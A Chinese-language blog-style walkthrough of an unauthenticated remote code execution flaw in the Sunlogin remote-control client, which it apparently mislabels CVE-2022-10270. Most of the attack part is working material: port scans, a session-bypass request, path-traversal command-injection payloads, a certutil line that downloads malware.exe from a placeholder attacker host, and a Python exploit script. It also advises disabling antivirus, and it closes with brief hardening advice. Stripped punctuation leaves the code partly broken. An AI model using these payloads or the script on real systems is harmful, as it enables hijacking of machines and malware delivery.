1. 漏洞背景与影响范围向日葵远程控制软件作为国内用户量最大的远程办公工具之一其安全性直接关系到数百万企业和个人用户的数据安全。2022年曝光的CVE-2022-10270漏洞是一个典型的未授权远程代码执行RCE漏洞攻击者无需任何认证即可通过特定网络请求在目标主机上执行任意命令。我在实际渗透测试中发现该漏洞利用链清晰稳定甚至可以被集成到自动化攻击工具中。受影响的版本主要包含两个分支向日葵个人版Windows客户端11.0.0.33及以下版本向日葵简约版v1.0.1.43315及以下版本这个漏洞的特殊之处在于它同时存在于软件的多个功能模块中。当向日葵客户端运行时会主动开放40000-60000之间的随机高位端口这些端口上的Web服务接口存在命令注入缺陷。我曾在客户内网测试时发现即使没有公网IP的设备只要安装了存在漏洞的客户端同一局域网内的攻击者就能完全控制目标机器。2. 漏洞原理深度解析漏洞的核心问题出在向日葵客户端对HTTP请求参数的处理逻辑上。通过逆向分析sunloginclient.exe我发现软件在/cgi-bin/rpc和/check等接口的实现中存在三处致命缺陷第一处是身份验证绕过。在sub_140E1C954函数中攻击者可以通过精心构造的HTTP请求头绕过session验证。我测试时用Burp Suite发送以下请求就能获取有效会话GET /cgi-bin/rpc?actionverify-haras HTTP/1.1 Host: target_ip:port第二处是命令注入点。在/check接口中当cmd参数以ping或nslookup开头时后续内容会直接传递给system()函数执行。更危险的是攻击者可以通过路径穿越符../访问系统任意路径。例如这个payload就能执行系统命令GET /check?cmdping../../../windows/system32/cmd.exe /c whoami HTTP/1.1第三处是端口暴露问题。向日葵客户端启动时会随机开启40000的高位端口但未做任何访问控制。我写了个简单的Python脚本测试发现在同一网络下任何用户都能与这些端口建立连接。3. 实验环境搭建指南为了安全复现这个漏洞建议在虚拟机环境中进行测试。我通常使用以下配置靶机Windows 10 专业版关闭防火墙攻击机Kali Linux 2023或Windows 10 Python 3.8漏洞版本SunloginClient_11.0.0.33162_X64.exe安装向日葵客户端时有几个关键点需要注意安装过程中要勾选开机自动启动选项安装完成后不要登录向日葵账号在设置中关闭双重认证等安全选项实测发现某些杀毒软件会拦截漏洞利用请求。我在测试时遇到过360安全卫士自动阻断端口扫描的情况临时关闭实时防护才能继续。建议在控制面板中提前添加以下目录到杀软白名单C:\Program Files\Oray\SunLogin\SunloginClient C:\Program Files (x86)\Oray\SunLogin\SunloginClient4. 手动复现全流程4.1 端口探测阶段首先需要找到向日葵开放的随机端口。虽然官方文档说端口在40000-60000之间但实测中我遇到过的案例都集中在50000-55000。推荐使用这个nmap命令nmap -p 50000-55000 -T4 --open target_ip如果看到类似这样的响应就可能是漏洞端口PORT STATE SERVICE 54321/tcp open unknown4.2 漏洞验证阶段发现可疑端口后用浏览器访问以下URL验证漏洞是否存在http://target_ip:port/cgi-bin/rpc?actionverify-haras如果返回包含verification failure则证明存在漏洞。4.3 会话获取阶段通过以下请求获取有效会话CIDGET /cgi-bin/rpc?actionverify-haras HTTP/1.1 Host: target_ip:port保存响应中的CID值例如{success:true,data:{cid:HbRTVJwZL3}}4.4 命令执行阶段构造命令执行请求时需要注意Windows路径的特殊处理。这里分享几个实测可用的payload查看当前用户GET /check?cmdping..%2F..%2F..%2F..%2Fwindows%2Fsystem32%2Fcmd.exe /c whoami HTTP/1.1 Host: target_ip:port Cookie: CIDHbRTVJwZL3下载远程文件GET /check?cmdping..%2F..%2F..%2F..%2Fwindows%2Fsystem32%2Fcertutil.exe -urlcache -split -f http://attacker_ip/malware.exe C:\temp\malware.exe HTTP/1.15. 自动化利用脚本开发基于手动复现的经验我开发了一个自动化利用工具主要包含以下功能模块import requests import argparse def port_scan(target_ip, start_port, end_port): for port in range(start_port, end_port1): try: r requests.get(fhttp://{target_ip}:{port}/cgi-bin/rpc?actionverify-haras, timeout3) if verification failure in r.text: return port except: continue return None def exploit(target_ip, port, command): session requests.Session() # 获取CID r session.get(fhttp://{target_ip}:{port}/cgi-bin/rpc?actionverify-haras) cid r.json().get(data, {}).get(cid, ) # 执行命令 payload fping../../../windows/system32/cmd.exe /c {command} r session.get(fhttp://{target_ip}:{port}/check?cmd{payload}, headers{Cookie: fCID{cid}}) return r.text使用示例# 端口扫描 python sunflower_rce.py --scan 192.168.1.100 # 命令执行 python sunflower_rce.py --target 192.168.1.100:54321 --cmd net user6. 防御与修复方案对于仍在使用受影响版本的用户我建议立即采取以下措施升级到向日葵最新版本目前安全版本是11.1及以上在防火墙中限制40000-60000端口的入站连接修改客户端安装目录的访问权限禁止非管理员用户写入在企业环境中可以通过组策略批量部署以下注册表项来缓解风险Windows Registry Editor Version 5.00 [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Oray\Sunlogin] DisableRemoteControldword:00000001 DisableAutoStartdword:00000001我在给客户做安全加固时发现即使升级了客户端版本残留的配置文件仍可能包含敏感信息。建议在卸载旧版本后手动删除以下目录C:\ProgramData\Oray\SunloginClient C:\Users\username\AppData\Roaming\Oray\Sunlogin